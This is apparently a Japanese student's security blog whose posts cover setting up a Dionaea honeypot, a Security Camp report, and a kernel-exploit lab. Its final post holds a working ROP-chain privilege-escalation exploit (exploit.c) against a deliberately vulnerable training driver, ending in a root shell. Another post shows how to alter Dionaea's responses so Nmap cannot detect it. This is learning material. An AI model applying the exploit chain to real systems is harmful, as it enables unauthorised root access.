teppay’s log

セキュリティ、CTF、機械学習などに興味があります。情報系学生です。興味のあることを思い立った時に書きます。曖昧なことの整理にも使います。月1が目標です。

DionaeaFRを導入してみた

はじめに

ちょっと前に、サーバを借りてDionaeaを動かし始めましたが、いかんせんログが多くてどこからみていけば良いのやらって感じです。
そこで、DionaeaFRという可視化ソフトを使ってみようと思います。DionaeaFRでググればこの同じような記事はたくさんあったんですが、(定かではありませんが、おそらく)Djangoのバージョンの違いかなにかで手順通りに設定してもエラーで詰まることがたくさんあったので記事にしました。

github.com

関連記事

teppay.hatenablog.com

teppay.hatenablog.com

やったこ

1. いいたいことはこれだけ。だと思ってた。。。

Djangoのバージョンは1.8!

takahoyo.hatenablog.com それ以外のバージョンでは動かなかった! それ以外はこちらのほよたかさんのブログの通りにやっていきました。

2. その後いろいろ触ってみたら。。。

トップページは見れるんです。 f:id:teppay:20171007232119p:plain

ただ、このサイドのメニューのConnectionsやDownloadsを選ぶと、 f:id:teppay:20171007232325p:plain

たこうなるわけです。
ValueError: data must be QuerySet-like (have count() and order_by()) or support list(data) -- ConnectionFilter has neitherのエラーでぐぐってみると同じエラーに苦しめられている人がいるんですよね。
いろいろ調べてみたんですけど、解決策には巡り会えませんでした(T_T)直せたら報告します。

OWASP Security Shepherdをはじめてみた

はじめに

最近OWASPのイベント?があったらしくて、その参加者のツイートで「OWASP Security Shepherd」という単語を知りました。
アプリケーションセキュリティの学習ツールらしいです。学習したいので始めてみました笑

OWASP Security Shepherdとは

OWASP Security Shepherdは公式サイトによると、

The OWASP Security Shepherd Project is a web and mobile application security training platform. Security Shepherd has been designed to foster and improve security awareness among a varied skill-set demographic. The aim of this project is to take AppSec novices or experienced engineers and sharpen their penetration testing skill set to security expert status.

出典:OWASP Security Shepherd

簡単に言えば、「OWASP Security Shepherd」はWeb・Mobile Appのセキュリティについて勉強するためのプラットフォームで、初心者からベテランまでのペンテスト能力を向上させることが目的です。
的な感じですかね。。。

とてもそそられます。

環境

やったこ

1. VirtualBoxVMをインポート

とりあえずVirtualboxはインストールしてください。 github.com ここからzipファイルをダウンロードして解凍して出てきたOwaspSecurityShepherdVm_V3.0.ovaをダブルクリックするとVirtualBoxが起動してインポートする旨のダイアログが表示されるので、「すべてのネットワークカードのMACアドレスを再初期化」に必ずチェックをしてからインポートしました。

2. ネットワークアダプタの設定を変更

ホストOSからアクセスするために、 設定 -> ネットワーク -> アダプタ2
にホストオンリーアダプタを設定してからVMを起動します。 f:id:teppay:20171006170252p:plain

3. VMにログイン

VMを起動してちょっと待つと、ログイン出来る状態になるので、 securityshepherd:owaspSecurityShepherd でログインします。
そこで、

ifconfig

を実行してVMIPアドレスを確認します。

4. ブラウザからアクセス

ブラウザからhttps://<VMのIPアドレス>/ にアクセスすると。。。 f:id:teppay:20171006162012p:plain

はい、こうなっちゃいますがアクセス先はlocalhostなので大丈夫でしょう。
詳細設定 を開いてアクセスしてみると、、、 f:id:teppay:20171006162130p:plain 起動できていました。

3. adminログイン

ログインフォームにadmin:passwordを入力してログインすると、パスワード変えろ!!!と言われるので変えましょう。

これでとりあえず準備完了です。

おわりに

最初のチャレンジから手詰まりしてますがこれから頑張って行こうと思います。

DionaeaをVirusTotalと連携させてみた

teppay.hatenablog.com

はじめに

DionaeaをVirusTotalと連携させることで、捕まえたマルウェアVirusTotalでスキャンしてくれるらしい。

やったこ

1. VirusTotalのアカウント登録

ここは言われたとおりやるだけなので割愛

2. API Keyを取得

アカウントを登録しただけでAPIKeyが割り当てられるようなので、それをコピペするだけです。

右上のアイコン -> Setting -> API Key

で表示できます。

3. Dionaeaの設定ファイルにAPI Keyをコピペ

/opt/dionaea/etc/dionaea/ihandlers-available/virustotal.yamlを以下のように書き換える。

- name: virustotal
  config:
    # grab it from your virustotal account at My account -> Inbox -> Public API
    apikey: "<自分のAPI Key>"
    file: "/opt/dionaea/var/dionaea/vtcache.sqlite"

そして、/opt/dionaea/etc/dionaea/ihandlers-enabled/にファイルのシンボリックリンクを設置する

$ ln -s ../ihandlers-available/virustotal.yaml virustotal.yaml

ソースを見た感じこれで再起動すれば起動してくれるはずです!

おわりに

正直手探りまくりなのでまだこれでいいのかよくわかりません。うまく行ってたらここで報告します。

はじめてのハニーポット(Dionaea)はじめました

f:id:teppay:20171004204926p:plain

はじめに

ハニポは以前からやってみたかったのですが、やらなきゃ卒業できない憎いタスクに追われていまして、いまになりました。
なににすればいいか分からなかったので、Dionaeaを選んだのは、IPAが推奨しているからです。
いままでハニーポットに手が出なかったのは、もちろんやらなきゃいけない事があって時間が割けなかったのが一番の理由なのですが、サーバをどうしようという問題がありまして、この度セキュキャンで見事にさくらのクラウドのクーポンをもらったので踏み切ることが出来ました。 この記事は新規性ゼロですので、新しい情報をほしい方はUターンでお願いします。 実際に始めてみると、検索してヒットするサイトの情報は古くなっていて?修正部分などが変わっている事がありましたので、それらの情報を手がかりに手探りでやってみました。そのへんで詰まっているかたは見てもらえるとありがたいです。

参考サイト

sonickun.hatenablog.com

Dionaeaとは

Dionaeaはハエトリグサという意味だそうです。
攻撃者(ハエ)をおびき寄せて自分の栄養にしちゃうハニーポット(食虫植物)ってことですよね。
いろんなプロトコルに対応しているハニーポットで、勉強不足なもんで、知らないプロトコルGitHubのProtocolsリストにありました。

github.com

環境

blackle0pard.net

  • OS : Ubuntu Server 14.04.2 LTS 64bit
    UbuntuはDionaeaのインストールにapt-getがつかえて楽らしいので..

やったこ

1. サーバ作成

前述したとおり、さくらのクラウドUbuntuのサーバを作成しました。 クーポンを入力しただけでは、色んな所でエラーがでますので、クレカ情報いれてからやりましょう。
サーバ作成の時点で自分の公開鍵を設定しておくと、最初のsshから公開鍵認証で入れて便利でした(当たり前か笑)
サーバ立てるの初めてなので、以下のQiitaを参考にして最小限の初期設定をしました。

qiita.com

ファイアウォールで許可するポートは、Dionaeaが対応しているプロトコルのポートなので、

$ sudo apt-get install ufw
$ sudo ufw allow 21
$ sudo ufw allow 80
$ sudo ufw allow 443
$ sudo ufw allow 445
$ sudo ufw allow 1433
$ sudo ufw allow 3306
$ sudo ufw allow 5060
$ sudo ufw allow 5061

からの自分が使うsshは2222ポートを使う設定にしたので

$ sudu ufw limit 2222

からのその他のポートは拒否します。

$ sudo ufw default deny

2. Dionaeaインストール

これはもうDionaeaのドキュメントどおりです

$ sudo apt-get update
$ sudo apt-get dist-upgrade
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:honeynet/nightly
$ sudo apt-get update
$ sudo aot-get install dionaea

これだけです。笑

3. Dionaea起動

以下のコマンドで起動できます。

$ sudo service dionaea start

ちなみに、起動前のnmap結果は

PORT      STATE    SERVICE
25/tcp    filtered smtp
80/tcp    open     http
110/tcp   open     pop3
143/tcp   open     imap
2222/tcp  open     EtherNetIP-1
3128/tcp  open     squid-http
8080/tcp  open     http-proxy
12345/tcp filtered netbus

起動後は、

PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
443/tcp  open  https
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s
2222/tcp open  EtherNetIP-1
3128/tcp open  squid-http
3306/tcp open  mysql
5060/tcp open  sip
5061/tcp open  sip-tls
8080/tcp open  http-proxy

です。

あきらかに増えました。 上に示したnmapはオプションなしで実行したのでサービス名しか表示してくれていませんが、-sVオプションを付けることでそのポートを使っている?ソフトウェアとそのバージョンを調べて表示してくれます。これがまさにnmapが攻撃の準備行為に当たってしまうことの理由でしょうね。
そしてこれによってDionaeaの決定的な欠点(修正可)が露呈します。以下に-sVオプションをつけた結果を示します。

PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          Synology DiskStation NAS ftpd
80/tcp   open  http         nginx
110/tcp  open  pop3?
143/tcp  open  imap?
443/tcp  open  ssl/http     nginx
445/tcp  open  microsoft-ds Dionaea honeypot smbd
1433/tcp open  ms-sql-s     Dionaea honeypot MS-SQL server
2222/tcp open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
3128/tcp open  squid-http?
3306/tcp open  mysql        MySQL 5.7.16
5060/tcp open  sip?
5061/tcp open  ssl/sip-tls?
8080/tcp open  http-proxy?

445番ポートと1433番ポートがDionaeaとバレています。
攻撃者を騙せていません。これはデフォルトのDionaeaでは各ポートの返事に特徴があるためらしいです。これは次で修正します。

4. Nmapによる検出の回避

前述したように、Dionaeaがエミュレートしているサービスのレスポンスには特徴(シグネチャ)があるため、Nmapを使うことでDionaeaが稼働しているサーバが攻撃者にバレてしまいます。
Dionaeaであることがバレてしまうと、攻撃者はそこで攻撃をやめてしまい、私達がほしい攻撃ログが取得できません。そこで攻撃者にばれないように修正していきます。
そこで、Nmapがソフトウェアやバージョンを判定するのに使うシグネチャが収められたファイル(nmap-service-probes)を検索してDionaeaを判別するためのシグネチャを見つけてみます。

$ wget https://raw.githubusercontent.com/nmap/nmap/master/nmap-service-probes

$ cat nmap-service-probes| grep -i dionaea
match ftp m|^220 Welcome to the ftp service\r\n| p/Dionaea honeypot ftpd/
match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html; charset=utf-8\r\nContent-Length: 204\r\n\r\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 3\.2 Final//EN\"><html>\n<title>Directory listing for /</title>\n<body>\n<h2>Directory listing for /</h2>\n<hr>\n<ul>\n<li><a href=\"\.\./\">\.\./</a>\n</ul>\n<hr>\n</body>\n</html>\n$| p/Dionaea honeypot httpd/
match microsoft-ds m|^\0...\xffSMBr\0\0\0\0\x98\x01\x40\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff\x40\x06\0\0\x01\0\x11\x07\0\x03\x01\0\x01\0\0\x10\0\0\0\0\x01\0\0\0\0\0\xfd\xe3\0\0..........\x00\x34\0W\0O\0R\0K\0G\0R\0O\0U\0P\0\0\0H\0O\0M\0E\0U\0S\0E\0R\0-\0.\0.\0.\0.\0.\0.\0\0\0|s p/Dionaea honeypot smbd/
match honeypot m|^HTTP/1\.0 200 OK\r\nAllow: OPTIONS, GET, HEAD, POST\r\nContent-Length: 0\r\nConnection: close\r\n\r\n| p/Dionaea Honeypot httpd/
match honeypot m|^SIP/2\.0 200 OK\r\nContent-Length: 0\r\nVia: SIP/2\.0/TCP nm;branch=foo\r\nFrom: sip:nm@nm;tag=root\r\nAccept: application/sdp\r\nTo: sip:nm2@nm2\r\nContact: sip:nm2@nm2\r\nCSeq: 42 OPTIONS\r\nAllow: REGISTER, OPTIONS, INVITE, CANCEL, BYE, ACK\r\nCall-ID: 50000\r\nAccept-Language: en\r\n\r\n| p/Dionaea Honeypot sipd/
match ms-sql-s m|^\x04\x01\x00\x2b\x00\x00\x00\x00\x00\x00\x1a\x00\x06\x01\x00\x20\x00\x01\x02\x00\x21\x00\x01\x03\x00\x22\x00\x00\x04\x00\x22\x00\x01\xff\x08\x00\x02\x10\x00\x00\x02\x00\x00| p/Dionaea honeypot MS-SQL server/

この結果から、FTP HTTP SMB SIP MSSQLシグネチャがあることがわかりました。

FTP

Nmapの結果からもわかるとおり、最新の?DionaeaのFTPのウェルカムメッセージはシグネチャのものとは異なっているため、修正は必要なさそうなのでとりあえず放置します。

HTTP

HTTPは修正が簡単です。シグネチャの内容を見ると、HTTPレスポンスを見ているようですが、Dionaeaは80番ポートにアクセスしてきたブラウザに/opt/dionaea/var/dionaea/roots/wwwにおいたindex.htmlの内容を表示させる仕様になっています。
よって適当なhtmlを書いて置いてあげればOKです。

SMB

参考サイトによると、

SMBの"SMB Negotiate Protocol Response"に含まれる"OemDomainName"と"ServerName"の値をチェックしている

らしいので、ここを修正してあげます。
/opt/dionaea/lib/dionaea/python/dionaea/smb/extras.pyの20行目と23行目を以下のように修正してあげます。

20   self.oem_domain_name = "MIDOMINIO"

23   self.server_name = "EQUIPO-TEST"
SIP

SIPに関しても検出されていませんので放置します。

MSSQL

MSSQLは参考サイトによると、

 MSSQLデータベースに接続する際のpre-login TDS package (Tabular Data Streams)の情報をチェックしている模様.Token Typeの値が0x00になっているので,これを0x01に変更する

らしいです。
よって、****の147行目を以下のように修正します。

r.VersionToken.TokenType = 0x01

以上でとりあえずNmapによる検出は回避できるはずです。

今後の方針

MySQLにも、Nmapでは検出されないが、特徴があるらしいので今後気が向いたら修正していきたい。
今後はとりあえずログをたっぷり取っていただいて、Dionaeaのログを可視化出来るツールであるDionaeaFRも使ってログの分析をしたり、収集できたマルウェアを解析してみたいと思います。

まとめ

今回は、いままでやってみたかったハニーポットを設置できました。
しかし、私の戦いはここからはじまる!(訳 : たくさん攻撃していただいて、攻撃トレンドを感じてみたいと思っています。)
今後の展望としては、sshハニーポットや、maliciousなメールを収集するスパムトラップも運用していきたいです。

セキュリティ・キャンプ全国大会2017行ってきた

f:id:teppay:20170820224736j:plain
タイトルの通り、8/14 ~ 8/18でセキュリティ・キャンプ全国大会2017行ってきました!!

会場はクロスウェーブ府中っていうすごい綺麗なところでした。
この記事はその参加記ってやつです!
文章力なくて小学生みたいな文章だし、だらだら書いてそのまま投稿って感じなので読みにくかったらごめんなさい。

www.ipa.go.jp

参加の動機

今回、セキュリティ・キャンプへの参加を思い立ったのは、誰かのセキュリティ・キャンプに関するツイートを見たときでした。
自分は高専の学生で、大学などに比べて教員が少なく研究分野の選択肢が少ないため、そこまで興味のない暗号分野の研究を行っています。実際に興味があるのは、マルウェアなど攻撃側のことで、ちょうど大して研究をやらずにそちらの勉強をしているところでした。
勉強をしているとはいっても、イマイチやってみたいことが定まらず、ネットワークについて再勉強したり、名前に「セキュリティ」や「ハッキング」がつくような本を買って読んでいたりする程度でした。
そこで、今後自分が何をやっていきたいのか定めるため、またどんな分野があるのか知るために今回参加を決めました。
時系列で、講義内容についての詳細は公開できませんので、感想メインで書こうと思います。

-1日目

この日は学校の友達と富士急ハイランドに行っておりまして、この前事故った?「加速度世界No.1コースター ド・ドドンパ」にもしっかり乗ってまいりましたw f:id:teppay:20170820230722j:plain

0日目(出発前日)

富士急行ったあと、友達の家に泊まったので、結局家についたのはセキュキャン0日目の9時ごろでした。 この時点ではセキュキャンに持っていくカバンを引っ張り出してすらいませんでした。
なんならTシャツの毛玉取りにハマっていました。

次の日早いのに、この日毛玉取りを終えて寝られたのは日付が回ってからでした。

1日目

12:00 ~ 12:30集合で、自分は前泊組では無かったので朝が早くてきつかったです。さらに乗り換えがたくさんあるのもきつかったです。

開会!!

開会式は、まずたくさんステッカーやグッズなどをもらいました。ハンドスピナーも入っていました。
お偉いさんが何人か喋りました。

セキュリティ基礎・特別講演1・特別講演2

講師主査の上野さんによるセキュリティ基礎の講義、JPCERT/SSの小宮山さんの講演、サイバーディフェンスの大徳さんの講演がありました。
これらの中で最も記憶しているのは、「凝った形のうんこをしよう」ということです。(森見登美彦太陽の塔」参照)

チュータープレゼン

3人のチューターさんがそれぞれ自分が今やっていることについての発表をしてくださいました。
率直に言ってみなさんばけものだなと、こんなところに自分がいていいものだろうかと思いました。

2日目

この日は専門講義のみのとても濃い一日でした。とても疲れました。。。

A1 : 「PowerShellベースのマルウェアとその防御手法」

講義の前はオンメモリ・ファイルレスのマルウェアというのがあるというのは聞いたことがあったのですが、イメージがわかず、すっごく難しいことをしてるんだろうな、という印象を持っていました。
しかし実際にその仕組を聞いてみると、自分でもそのコードを見ただけで何をしているかわかるくらいに簡単な仕組みで、やばさを感じることが出来ました。
まだ一つ目の講義でしたが、自分の中ではビビッときたと言うか、マルウェアへの興味がとても湧きまして、学校の課題などをさっさと片付けてマルウェアについて勉強して行きたいと思います。
1時間目には興味のある講義がたくさんあったのですが、この講義を選んでよかったです。

D2-3 : 「カーネルエクスプロイトによるシステム権限奪取」

この講義は事前学習からエグくて、そのまんま講義もエグかったです。この講義の感想としては、正直カーネルはちょっといいかなって感じで、もしやるとしても、数年後の圧倒的成長を遂げている(であろう)自分に任せようという感じです。

3日目

この日あたりから、すでに「もう折り返しか...」と(未だ半分残っているのに)セキュキャンが終わってしまうことに悲しんでいました。

E4 : 「サイバー犯罪捜査の現場」

この講義はPCの解析だけでなく、怪しい(容疑者ともいえない)人の部屋にガサ入れに行くところから始まりました。
この講義は、とにかく事前講義の量が多くて、自分は一通りやりましたが、全部できていない人が多かった記憶があります。
事前課題でやることが多かったことから講義の実習でそれが活かせる気がしていなかったのですが、実際やってみると自分でも決定的な証拠となるファイルを見つけられてとても楽しかったです。
縁があれば、「サイバー犯罪捜査官」という道もありだなと思いました。

E5 : 「車載LAN上を流れるメッセージの取得と解析」

実際に車が操られちゃってるような動画をみて興味はあったのですが、すっごく難しいことをしているんだろうなと思ってみていました。しかし、車に搭載された端子から簡単に情報を抜き出せて、送ることもできちゃうということでとても怖いなとおもいました。

BoF

BoFっていうのは、Birds of a Featherの略でWeblioによると、

BOF birds-of-a-feather 同好の士の討論団体.
・a BOF group [meeting] BOF グループ[の集まり]

だそうで、 決してBuffer OverFlowではありません。
前半と後半に分けて2つのBoFを行いました。(←なんか文章おかしい?)

BoF前半 : 「将来のサイバー攻撃検知システムを考えよう」

これは現状のサイバー攻撃検知システムについて説明を受けたあと、今後の新しいサイバー攻撃検知システムについて議論し合うというものでした。自分の周りにはセキュリティな人がおらず、セキュリティについて議論するということがなかなか無かったのでとても新鮮で楽しかったです。

BoF後半 : 「Welcome to the Real Cyber World」

ここでお話してくださった方は、顔写真の撮影を拒否するなどサイバー空間の怖さを教えて下さいました。VPS?に設置したハニーポッド?に記録されたパケットを可視化したものも非常に興味深いものでした。自分でもハニーポッドを運用してみたいなと思いました。

企業プレゼンテーション1 : 「Recruit Technologies」

企業の方の話を聞ける機会ってなかなかないのでとても貴重な体験が出来ました。

4日目

B6 : 「AVRマイコンで作るBadUSB工作・改」

そもそも自分はこのBadUSBと言うものを、セキュキャンの講義一覧を見て初めて知ったのですが、調べれば調べるほどヤバイものだなと感じました。最後の発表会ではみんないろいろなBadUSBやGoodUSBを作っていて面白かったです。今回はAVRマイコンを使ったのですが、USBメモリファームウェアを書き換えるかたちの「ガチ」のBadUSBの仕組みについても勉強してみようと思います。

A7 : 「ファジング実習」

脆弱性を報告される側のIPAの小林さんと、脆弱性を報告する側の山下さんの両方の話を聞けて、なかなか貴重な体験だなと思いました。ファジングツールについても、実際にある脆弱性をどうやって見つけるかという実習からどうすれば見つけられるのかが分かりました。

企業プレゼンテーション2 : 「サイボウズ株式会社」

ここでは、セキュキャンの卒業生の方が話してくださって、平和な日とインシデントが起こった日を比べて説明してくださったのがとてもわかり易かったです。

5日目

グループワーク成果報告

自分たちの班は「2020年の東京オリンピックで自分たちが何をできるか」というテーマでグループワークを行いました。前にも書きましたが、自分の周りにはセキュリティな人がいないのでセキュリティに関して議論できるのはとても楽しかったです。最初はみんな遠慮がちでなかなかいい意見は出てこないような状況でしたが、時間が経つにつれて議論が発熱し、さらに楽しかったです。ただ、「徹夜はしないように」とか「早く寝ろ」とは言われていましたが、実際のところ発表スライド作成は時間割の時間外で作るしかありませんでした。

専門講義成果発表

みんなすごくて怖いなと思ったのは覚えていますが、正直眠すぎてそれ以上は覚えていません。

さいごに

最後に今回のセキュリティ・キャンプに参加できたことに関して全体的に見た感想を述べようと思います。
今回、セキュリティ・キャンプに参加して、率直に良かったと思っています。交通費から宿泊費まで、全てタダなのにもかかわらず、講義や環境もすばらしくレベルの高いものでした。そして自分のやりたいことが参加前に比べて鮮明になった気がしますし、チューターさんなどとお話できたことでわからなかったことを解決することも出来ました。
すばらしい機会を与えてくださったことに感謝します。またこの素晴らしいものに今後も関わっていけたら嬉しいと思うので、一年必死で勉強して、できれば来年またはその後でも、チューターとして参加したいと思います。
ありがとうございました。

カーネルエクスプロイト入門してみるー最終章ー

はじめに

前回までで環境構築がやっと終わったので、メインのカーネルエクスプロイトにはいります。

teppay.hatenablog.com

2 カーネルエクスプロイト!

2.1 方針

エクスプロイトの方針はるくすさんのブログに書いてある通りです。

rkx1209.hatenablog.com

任意のアドレスをコールしてくれるモジュールを起動した状態で、それに対して攻撃します。
「Stack Pivotで、カーネルのスタックを、ユーザ空間に確保した領域とすげ替える。そこでカーネルROPしてプロセスの権限を昇格させる。シェルを起動。」って感じです。たぶん

2.2 必要なアドレスの準備

Stack PivitやらカーネルROPをするために必要なGadgetのアドレスなどもろもろをまず調べます。

$ make

$ sudo insmod ropm.ko #モジュールのインストール

$ dmesg | grep addr | grep ops
[  113.396732] addr(ops) = ffffffffa02da350

$ readelf -s ./vmlinux | grep prepare_kernel_cred
 80354: 00000000bbd8387f     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 83581: ffffffff8108dfb0   282 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred

$ readelf -s ./vmlinux | grep prepare_kernel_cred
 80354: 00000000bbd8387f     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 83581: ffffffff8108dfb0   282 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
teppay@teppay-VirtualBox:~/D23/kernel_exploit_world-master/chap2$ readelf -s ./vmlinux | grep commit_creds
  8043: ffffffff81ad99e0    16 OBJECT  LOCAL  DEFAULT    8 __ksymtab_commit_creds
  8044: ffffffff81b02779    13 OBJECT  LOCAL  DEFAULT   12 __kstrtab_commit_creds
  8045: ffffffff81af3c50     8 OBJECT  LOCAL  DEFAULT   10 __kcrctab_commit_creds
 80840: 0000000079f29ccd     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_commit_creds
 83283: ffffffff8108dce0   542 FUNC    GLOBAL DEFAULT    1 commit_creds


$ objdump -j .text -d ./vmlinux | grep iretq | head -1
ffffffff8104df96:   48 cf                  iretq  

さらにカーネルの中のROPGadgetを検索するために、るくすさんのGithubのfind_offset.pyを使うんですが、ここでちょっとハマりました。
るくすさんのブログでは、rp++の出力を、

$ ./rp-lin-x64 --file=/path/to/linux-3.12/vmlinux --rop=3 --unique > gadgets.txt

というコマンドでテキストファイルにリダイレクトしていますが、自分の環境では、rp++の出力に色がついており、リダイレクトするとその色情報が付加されて余計なものがくっついている文字列がgadgets.txtにはいっていました。
なので、リダイレクトの前にsedコマンドを噛ませて以下のコマンドでrp++の結果を出力しました。

$ rp-lin-x64 --file=./vmlinux --rop=3 --unique | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?m//g"  > gadgets.txt

さらに、find_offset.pyを実行するとsplitがうまく行っていない旨のエラーが出るので、gadgets.txtの冒頭部分のいらないところを削除したらうまく動きました。 ↓この部分↓ f:id:teppay:20170728160306p:plain ↑↑

$ ./find_offset.py ffffffffa02da350 gadgets.txt | grep -1 "xchg eax, esp ; ret "

...
offset = 18446744073644267284
gadget = or dword [rdi], ecx ; xchg eax, esp ; ret  ;  (1 found)
stack addr = 810c5bf0
...

余計なのが前についていますが、とりあえずこのgadgetで行ってみようと思います。
のこりの細々としたGadgetもrp++で見つけて、やっと次はROPを組んでいきます。

2.3 ROP

ここまで来たら、exploit.cを自分の環境にあわせて書き換えてコンパイル・実行するだけです。 exploit.c

int main(int argc, char *argv[])
{
  int fd;
  struct drv_req req;
  void *mapped, *temp_stack;
  unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;

  if (argc != 3) {
    usage(argv[0]);
    return -1;
  }
  //offset = 18446744073644267284
  req.offset = strtoul(argv[1], NULL, 10);
  base_addr  = strtoul(argv[2], NULL, 16);
  prepare_kernel_cred = 0xffffffff8108dfb0;
  commit_creds = 0xffffffff8108dce0;
  printf("array base address = 0x%lx\n", base_addr);
  stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
  fprintf(stdout, "stack address = 0x%lx\n", stack_addr);

  mmap_addr = stack_addr & 0xffff0000;
  assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
  assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);

  save_state();
  fake_stack = (unsigned long *)(stack_addr);
  *fake_stack ++= 0xffffffff8105182dUL; /* pop %rdi; ret */

  fake_stack = (unsigned long *)(stack_addr + 0 + 8);

  *fake_stack ++= 0x0UL;                /* NULL */
  *fake_stack ++= prepare_kernel_cred; /* prepare_kernel_cred() */

  *fake_stack ++= 0xffffffff81047c82UL; /* pop %rdx; ret */
  //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
  *fake_stack ++= commit_creds + 6; // commit_creds() + 2 instructions

  *fake_stack ++= 0xffffffff81033380UL; /* mov %rax, %rdi; call %rdx */

  *fake_stack ++= 0xffffffff8104d764UL; // swapgs ; pop rbp ; ret
  *fake_stack ++= 0xdeadbeefUL;         // dummy placeholder

  *fake_stack ++= 0xffffffff8104df96UL; /* iretq */
  *fake_stack ++= (unsigned long)shell; /* spawn a shell */
  *fake_stack ++= user_cs;              /* saved CS */
  *fake_stack ++= user_rflags;          /* saved EFLAGS */
  *fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
  *fake_stack ++= user_ss;              /* saved SS */


  //map = mmap((void *)..., ..., 3, 0x32, 0, 0);

  fd = open(DEVICE_PATH, O_RDONLY);

  if (fd == -1) {
    perror("open");
  }

  ioctl(fd, 0, &req);

  return 0;
}

f:id:teppay:20170729015258p:plain
はいこんな感じでできました。
画像をよく見てもらうとわかりますが、1回目の実行では/dev/vulndrvをopenする際にPermissionErrorで弾かれています。

$ sudo chmod 766 /dev/vulndrv

で一般ピーポーがドライバを読む権限を付与したうえで実行してみると、見事シェルが取れました。
"#" がrootの証です!!

まとめ

  • 知らないことが多すぎたので、今回のことで圧倒的成長できたのはまちがいない。
  • 概ね理解はできたが、細かいことがあやふやなまま。
  • 頑張ります。
  • とりあえずテスト勉強。。。やりたくない

カーネルエクスプロイト入門してみるー第2章ー

第1章の続きです。 teppay.hatenablog.com

1.3 GRUBの選択画面を表示させる

$ sudo vi /etc/default/grub
$ sudo update-grub

デバッギの/etc/default/grubGRUB_HIDDEN_TIMEOUTコメントアウトして、grub-updateして再起動。
grub-updateしないと設定が反映されないらしくて最初困った。 f:id:teppay:20170719134552p:plain この画面がGRUBの選択画面で、

Advanced opptions for Ubuntu -->
            Ubuntu, with Linux 3.12.0

を選択するとカーネルバージョン3.12で起動できます。

$ uname -r
3.12.0

カーネルコンパイルし直して起動したあとは、GuestAdditionが無効になってしまう?らしくて、共有フォルダなどを有効にするために

$ sudo apt-get -y install --reinstall virtualbox-guest-dkms

を実行。

1.4 2つのVMをシリアル接続する。

  • るくすさんのブログではやってませんが、ホストがmacだとkgdbが使えないらしく、LinuxVMをもう一つ使うと出来るらしい。
  • KGDB Tutorial - YouTubeMac上で2つのVMを接続してKGDBを使っている動画)←まさにおれ!
    これも参考にする。

  • デバッギを以下のように設定する f:id:teppay:20170719001743p:plain

  • デバッガを以下のように設定する f:id:teppay:20170719001811p:plain

    デバッギとデバッガの設定の違いは存在するパイプ/ソケットに接続にチェックがついているかいないかだけです。

    これは、片方のマシンが起動する際に/tmp/portというsocketファイル?をホスト上に作り、もう片方のマシンがそれを参照する形で2つのマシンが通信するから(っぽい)です。

    つまり、今回の場合デバッギが起動して、/tmp/portをホスト上に作り、それをデバッガが参照します。よって、デバッギ --> デバッガの順で起動しないといけません。

これで繋がったはずですが、シリアルポート接続っていうのがいまいちわかっていないのでほんとにつながっているのかわかりません。

とりあえず次に行ってみたいと思います。

1.5 netconsoleを動かす

  • ifconfigで調べると、
$ sudo modprobe netconsole netconsole=6665@192.168.1.8/eth0,6666/192.168.1.9/

これを実行して、デバッガで、

$ nc -l -u 192.168.1.9 6666

を実行すればいいらしいです。が、実行しても何も動きませんので、これまたうまく動いているのかわかりません。。。。

VMカーネルがクラッシュしたらここにダンプされます。と書いてあるので、クラッシュされないとなにもおこらないのかも。

1.6 vmlinuxというファイルをデバッガにコピー。

  • vmlinuxってなに。
  • 共有フォルダを介して、デバッギからデバッガにコピーし、参照できるようにする。
$ cp ~/linux-3.12/vmlinux /media/sf_vm_sync
  • デバッギとデバッガの共有フォルダをホスト上の同じフォルダにしてあげれば、デバッガからも見えるようになる。

1.7 カーネルデバッガを設定する。

  • やっとkgdbが出てきた。
  • デバッギのカーネルのブートオプションに以下を追加する
kernel ... kgdboc=ttyS0,115200 kgdbwait

例によって、また/etc/default/grubを編集するらしい。
"kgdboc=ttyS0,115200 kgdbwait"の部分を、GRUB_CMDLINE_LINUXに追加する。(らしい)

$ sudo vi /etc/default/grub
$ sudo update-grub

ここでも忘れずupdate-grub
これで再起動してみると、 f:id:teppay:20170719161504p:plain kgdbが起動して、リモートからのgdbを待ってますって状態で止まってくれています。

1.8 リモートのGDBから接続する

$ cd /media/sf_vm_sync
$ gdb -q
(gdb) file vmlinux
(gdb) target remote /dev/ttyS0
/dev/ttyS0 : 許可がありません。

はい。
またPermissionエラーがでました。おそらくまたグループに入れてもらうんだろうなと思いながらぐぐるとやはりそうでした。
今度はdialoutというグループに入らなければいけないので、

$ sudo gpasswd -a ユーザ名 dialout

からの再起動です。
気を取り直して、もう一度、

$ cd /media/sf_vm_sync
$ gdb -q
(gdb) file vmlinux
(gdb) target remote /dev/ttyS0
kgdb_breakpoint () at kernel/debug/debug_core.c:1014
1014   kernel/debug/debug_core.c: そのようなファイルやディレクトリはありません.

こんなエラー?はでましたが、ひとまず接続できました。

(gdb) c
Continuing.

てな感じでカーネルに制御を戻すと無事デバッギが起動しました!
めでたしめでたし(環境つくっただけ。。。)

teppay.hatenablog.com